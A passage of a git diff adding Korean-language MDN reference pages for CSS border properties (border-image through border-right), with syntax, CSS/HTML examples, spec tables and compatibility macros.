마름모 하나의 크기에 맞추기 위해, 81을 3으로 나눈 27을 슬라이스 크기로 사용하여 원본 이미지를 모서리와 테두리 구역으로 나눕니다. 테두리 이미지의 중앙을 요소 테두리의 가운데로 맞추기 위해 거리도 각 너비의 절반으로 설정합니다. 마지막으로 반복 값에 round를 지정해 모서리가 끊기거나 잘리지 않도록 설정합니다.

+ +
#bitmap {
+  width: 200px;
+  background-color: #ffa;
+  border: 36px solid orange;
+  margin: 30px;
+  padding: 10px;
+
+  border-image:
+      url("https://mdn.mozillademos.org/files/4127/border.png")  /* 원본 이미지 */
+      27 /                    /* 슬라이스 */
+      36px 28px 18px 8px /    /* 너비 */
+      18px 14px 9px 4px       /* 거리 */
+      round;                  /* 반복 */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('비트맵', '100%', 200)}}

+ +

그레이디언트

+ +

HTML

+ +
<div id="gradient">그레이디언트 기반 테두리 이미지에 둘러 쌓인 요소에요!</div>
+
+ +

CSS

+ +
#gradient {
+  width: 200px;
+  border: 30px solid;
+  border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60;
+  padding: 20px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('그레이디언트')}}

+ +

접근성 고려사항

+ +

보조 기술은 테두리 이미지를 읽을 수 없습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image', 'border-image')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border")}}
  • +
  • {{cssxref("outline")}}
  • +
  • {{cssxref("box-shadow")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("url()")}} 함수
  • +
  • 그레이디언트 함수: {{CSSxRef("conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}
  • +
diff --git a/files/ko/web/css/border-left-color/index.html b/files/ko/web/css/border-left-color/index.html new file mode 100644 index 0000000000..be69191773 --- /dev/null +++ b/files/ko/web/css/border-left-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-left-color +slug: Web/CSS/border-left-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-left-color +--- +
{{CSSRef}}
+ +

border-left-color CSS 속성은 요소의 왼쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-left")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-left-color: red;
+border-left-color: #ffbb00;
+border-left-color: rgb(255, 0, 0);
+border-left-color: hsla(100%, 50%, 25%, 0.75);
+border-left-color: currentColor;
+border-left-color: transparent;
+
+/* 전역 값 */
+border-left-color: inherit;
+border-left-color: initial;
+border-left-color: unset;
+
+ +

border-left-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
왼쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-left-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-left-color', 'border-left-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-left-color', 'border-left-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-left")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left-style")}}, {{cssxref("border-left-width")}}.
  • +
diff --git a/files/ko/web/css/border-left-style/index.html b/files/ko/web/css/border-left-style/index.html new file mode 100644 index 0000000000..18bc232483 --- /dev/null +++ b/files/ko/web/css/border-left-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-left-style +slug: Web/CSS/border-left-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-left-style +--- +
{{CSSRef}}
+ +

border-left-style CSS 속성은 요소 테두리의 왼쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-left-style: none;
+border-left-style: hidden;
+border-left-style: dotted;
+border-left-style: dashed;
+border-left-style: solid;
+border-left-style: double;
+border-left-style: groove;
+border-left-style: ridge;
+border-left-style: inset;
+border-left-style: outset;
+
+/* 전역 값 */
+border-left-style: inherit;
+border-left-style: initial;
+border-left-style: unset;
+
+ +

border-left-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-left-style example classes */
+.b1 {border-left-style: none;}
+.b2 {border-left-style: hidden;}
+.b3 {border-left-style: dotted;}
+.b4 {border-left-style: dashed;}
+.b5 {border-left-style: solid;}
+.b6 {border-left-style: double;}
+.b7 {border-left-style: groove;}
+.b8 {border-left-style: ridge;}
+.b9 {border-left-style: inset;}
+.b10 {border-left-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-left-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-left-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-style")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left")}}, {{cssxref("border-left-color")}}, {{cssxref("border-left-width")}}.
  • +
diff --git a/files/ko/web/css/border-left-width/index.html b/files/ko/web/css/border-left-width/index.html new file mode 100644 index 0000000000..78687a842a --- /dev/null +++ b/files/ko/web/css/border-left-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-left-width +slug: Web/CSS/border-left-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-left-width +--- +
{{CSSRef}}
+ +

CSS border-left-width 속성은 요소의 왼쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-width.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-left-width: thin;
+border-left-width: medium;
+border-left-width: thick;
+
+/* <length> 값 */
+border-left-width: 10em;
+border-left-width: 3vmax;
+border-left-width: 6px;
+
+/* 전역 값 */
+border-left-width: inherit;
+border-left-width: initial;
+border-left-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-left-width: thick;
+}
+div:nth-child(2) {
+  border-left-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-left-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-left-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-left-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-top-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-left")}}, {{Cssxref("border-left-style")}}, and {{Cssxref("border-left-color")}}.
  • +
diff --git a/files/ko/web/css/border-left/index.html b/files/ko/web/css/border-left/index.html new file mode 100644 index 0000000000..cf9b0547df --- /dev/null +++ b/files/ko/web/css/border-left/index.html @@ -0,0 +1,109 @@ +--- +title: border-left +slug: Web/CSS/border-left +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-left +--- +
{{CSSRef}}
+ +

border-left CSS 단축 속성은 요소의 왼쪽 테두리를 설정합니다. {{cssxref("border-left-width")}}, {{cssxref("border-left-style")}}, {{cssxref("border-left-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-left는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-left-style: dotted;
+border-left: thick green;
+
+ +
border-left-style: dotted;
+border-left: none thick green;
+
+ +

따라서 border-left보다 먼저 지정한 {{cssxref("border-left-style")}}의 값은 무시됩니다. {{cssxref("border-left-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-left: 1px;
+border-left: 2px dotted;
+border-left: medium dashed green;
+
+ +

border-left은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-left-width")}}.
+
<br-style>
+
{{cssxref("border-left-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-left-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  왼쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-left: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-left', 'border-left')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-left-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-left', 'border-left')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left")}}

diff --git a/files/ko/web/css/border-radius/index.html b/files/ko/web/css/border-radius/index.html new file mode 100644 index 0000000000..3c9c812d36 --- /dev/null +++ b/files/ko/web/css/border-radius/index.html @@ -0,0 +1,228 @@ +--- +title: border-radius +slug: Web/CSS/border-radius +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border-radius +--- +
{{CSSRef}}
+ +

CSS border-radius 속성은 요소 테두리 경계의 꼭짓점을 둥글게 만듭니다. 하나의 값을 사용해 원형 꼭짓점을, 두 개의 값을 사용해 타원형 꼭짓점을 적용할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-radius.html")}}
+ + + +

꼭짓점 반경은 요소의 테두리 존재 여부와는 별개로 전체 {{Cssxref("background")}}에 적용됩니다. 원형 꼭짓점으로 인해 배경이 잘리는 지점은 {{cssxref("background-clip")}} 속성이 지정합니다.

+ +

{{cssxref("border-collapse")}}의 값이 collapse인 표 요소는 border-radius 속성의 영향을 받지 않습니다.

+ +
참고: 다른 단축 속성과 마찬가지로, 각각의 하위 속성이 부모를 상속하도록 할 수는 없습니다. 즉, border-radius: 0 0 inherit inherit처럼 일부만 재정의할 수 없습니다. 대신, 원래의 본디속성을 하나씩 사용하세요.
+ +

구성 속성

+ +

border-radius는 다음 CSS 속성의 단축 속성입니다.

+ +
    +
  • {{cssxref("border-bottom-left-radius")}}
  • +
  • {{cssxref("border-bottom-right-radius")}}
  • +
  • {{cssxref("border-top-left-radius")}}
  • +
  • {{cssxref("border-top-right-radius")}}
  • +
+ +

구문

+ +
/* The syntax of the first radius allows one to four values */
+/* Radius is set for all 4 sides */
+border-radius: 10px;
+
+/* top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5%;
+
+/* top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 2px 4px 2px;
+
+/* top-left | top-right | bottom-right | bottom-left */
+border-radius: 1px 0 3px 4px;
+
+/* The syntax of the second radius allows one to four values */
+/* (first radius values) / radius */
+border-radius: 10px 5% / 20px;
+
+/* (first radius values) / top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5% / 20px 30px;
+
+/* (first radius values) / top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (first radius values) / top-left | top-right | bottom-right | bottom-left */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Global values */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;
+ +

border-radius 속성은 다음 방법으로 지정할 수 있습니다.

+ +
    +
  • 한 개에서 네 개의 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}} 값은 꼭짓점의 단일 반지름을 설정합니다.
  • +
  • 선택적으로 "/" 이후에 한 개에서 네 개의 <length> 또는 <percentage> 값을 사용해 추가 반지름을 설정해서 타원형 꼭짓점을 만들 수 있습니다.
  • +
+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
radiusall-corner.png테두리의 각 꼭짓점 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 한 개 값 구문에서만 사용합니다.
top-left-and-bottom-righttop-left-bottom-right.png왼쪽 위와 오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 두 개 값 구문에서만 사용합니다.
top-right-and-bottom-lefttop-right-bottom-left.png오른쪽 위와 왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 두 개 또는 세 개 값 구문에서만 사용합니다.
top-lefttop-left.png왼쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 세 개 또는 네 개 값 구문에서만 사용합니다.
top-righttop-right.png오른쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
bottom-rightbottom-rigth.png오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
bottom-leftbottom-left.png왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
+ +
+
{{cssxref("<length>")}}
+
길이 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 음의 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
백분율 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 가로축 값은 요소 박스의 너비에 대한 백분율이고, 세로축 값은 박스의 높이에 대한 백분율입니다. 음의 값은 유효하지 않습니다.
+
+ +

예를 들어...

+ +
border-radius: 1em/5em;
+
+/* 아래와 같음 */
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+
+ +
border-radius: 4px 3px 6px / 2px 4px;
+
+/* 아래와 같음 */
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
  border: solid 10px;
+  /* 테두리가 'D'형태가 됨 */
+  border-radius: 10px 40px 40px 10px;
+
+ +
  border: groove 1em red;
+  border-radius: 2em;
+
+ +
  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+
+ +
  border: none;
+  border-radius: 40px 10px;
+
+ +
  border: none;
+  border-radius: 50%;
+
+ +
  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+
+ +
  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+
+ +

라이브 샘플

+ +
    +
  1. http://jsfiddle.net/Tripad/qnGKj/2/
  2. +
  3. http://jsfiddle.net/Tripad/qnGKj/3/
  4. +
  5. http://jsfiddle.net/Tripad/qnGKj/4/
  6. +
  7. http://jsfiddle.net/Tripad/qnGKj/5/
  8. +
  9. http://jsfiddle.net/Tripad/qnGKj/6/
  10. +
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}{{ Spec2('CSS3 Backgrounds') }}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-radius")}}

+ +

같이 보기

+ +
    +
  • 꼭짓점 반경 관련 CSS 속성: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}
  • +
diff --git a/files/ko/web/css/border-right-color/index.html b/files/ko/web/css/border-right-color/index.html new file mode 100644 index 0000000000..c6292d566b --- /dev/null +++ b/files/ko/web/css/border-right-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-right-color +slug: Web/CSS/border-right-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-right-color +--- +
{{CSSRef}}
+ +

border-right-color CSS 속성은 요소의 오른쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-right")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-right-color: red;
+border-right-color: #ffbb00;
+border-right-color: rgb(255, 0, 0);
+border-right-color: hsla(100%, 50%, 25%, 0.75);
+border-right-color: currentColor;
+border-right-color: transparent;
+
+/* 전역 값 */
+border-right-color: inherit;
+border-right-color: initial;
+border-right-color: unset;
+
+ +

border-right-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
오른쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-right-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-right-color', 'border-right-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-right-color', 'border-right-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-right")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-right-width")}}.
  • +
diff --git a/files/ko/web/css/border-right-style/index.html b/files/ko/web/css/border-right-style/index.html new file mode 100644 index 0000000000..291595d8d1 --- /dev/null +++ b/files/ko/web/css/border-right-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-right-style +slug: Web/CSS/border-right-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-right-style +--- +
{{CSSRef}}
+ +

border-right-style CSS 속성은 요소 테두리의 오른쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-right-style: none;
+border-right-style: hidden;
+border-right-style: dotted;
+border-right-style: dashed;
+border-right-style: solid;
+border-right-style: double;
+border-right-style: groove;
+border-right-style: ridge;
+border-right-style: inset;
+border-right-style: outset;
+
+/* 전역 값 */
+border-right-style: inherit;
+border-right-style: initial;
+border-right-style: unset;
+
+ +

border-right-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-right-style example classes */
+.b1 {border-right-style: none;}
+.b2 {border-right-style: hidden;}
+.b3 {border-right-style: dotted;}
+.b4 {border-right-style: dashed;}
+.b5 {border-right-style: solid;}
+.b6 {border-right-style: double;}
+.b7 {border-right-style: groove;}
+.b8 {border-right-style: ridge;}
+.b9 {border-right-style: inset;}
+.b10 {border-right-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-right-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-right-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right")}}, {{cssxref("border-right-color")}}, {{cssxref("border-right-width")}}.
  • +
diff --git a/files/ko/web/css/border-right-width/index.html b/files/ko/web/css/border-right-width/index.html new file mode 100644 index 0000000000..60c3a4e564 --- /dev/null +++ b/files/ko/web/css/border-right-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-right-width +slug: Web/CSS/border-right-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-right-width +--- +
{{CSSRef}}
+ +

CSS border-right-width 속성은 요소의 오른쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-width.html")}}
+ + + +

구문

+ +
/* 키워드 값*/
+border-right-width: thin;
+border-right-width: medium;
+border-right-width: thick;
+
+/* <length> 값 */
+border-right-width: 10em;
+border-right-width: 3vmax;
+border-right-width: 6px;
+
+/* 전역 값 */
+border-right-width: inherit;
+border-right-width: initial;
+border-right-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다.0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-right-width: thick;
+}
+div:nth-child(2) {
+  border-right-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-right-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-right-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-right-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-right")}}, {{Cssxref("border-right-style")}}, and {{Cssxref("border-right-color")}}.
  • +
diff --git a/files/ko/web/css/border-right/index.html b/files/ko/web/css/border-right/index.html new file mode 100644 index 0000000000..557dbeba89 --- /dev/null +++ b/files/ko/web/css/border-right/index.html @@ -0,0 +1,109 @@ +--- +title: border-right +slug: Web/CSS/border-right +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-right +--- +
{{CSSRef}}
+ +

border-right CSS 단축 속성은 요소의 오른쪽 테두리를 설정합니다. {{cssxref("border-right-width")}}, {{cssxref("border-right-style")}}, {{cssxref("border-right-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-right는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-right-style: dotted;
+border-right: thick green;
+
+ +
border-right-style: dotted;
+border-right: none thick green;
+
+ +

따라서 border-right보다 먼저 지정한 {{cssxref("border-right-style")}}의 값은 무시됩니다. {{cssxref("border-right-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+
+ +

border-right은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
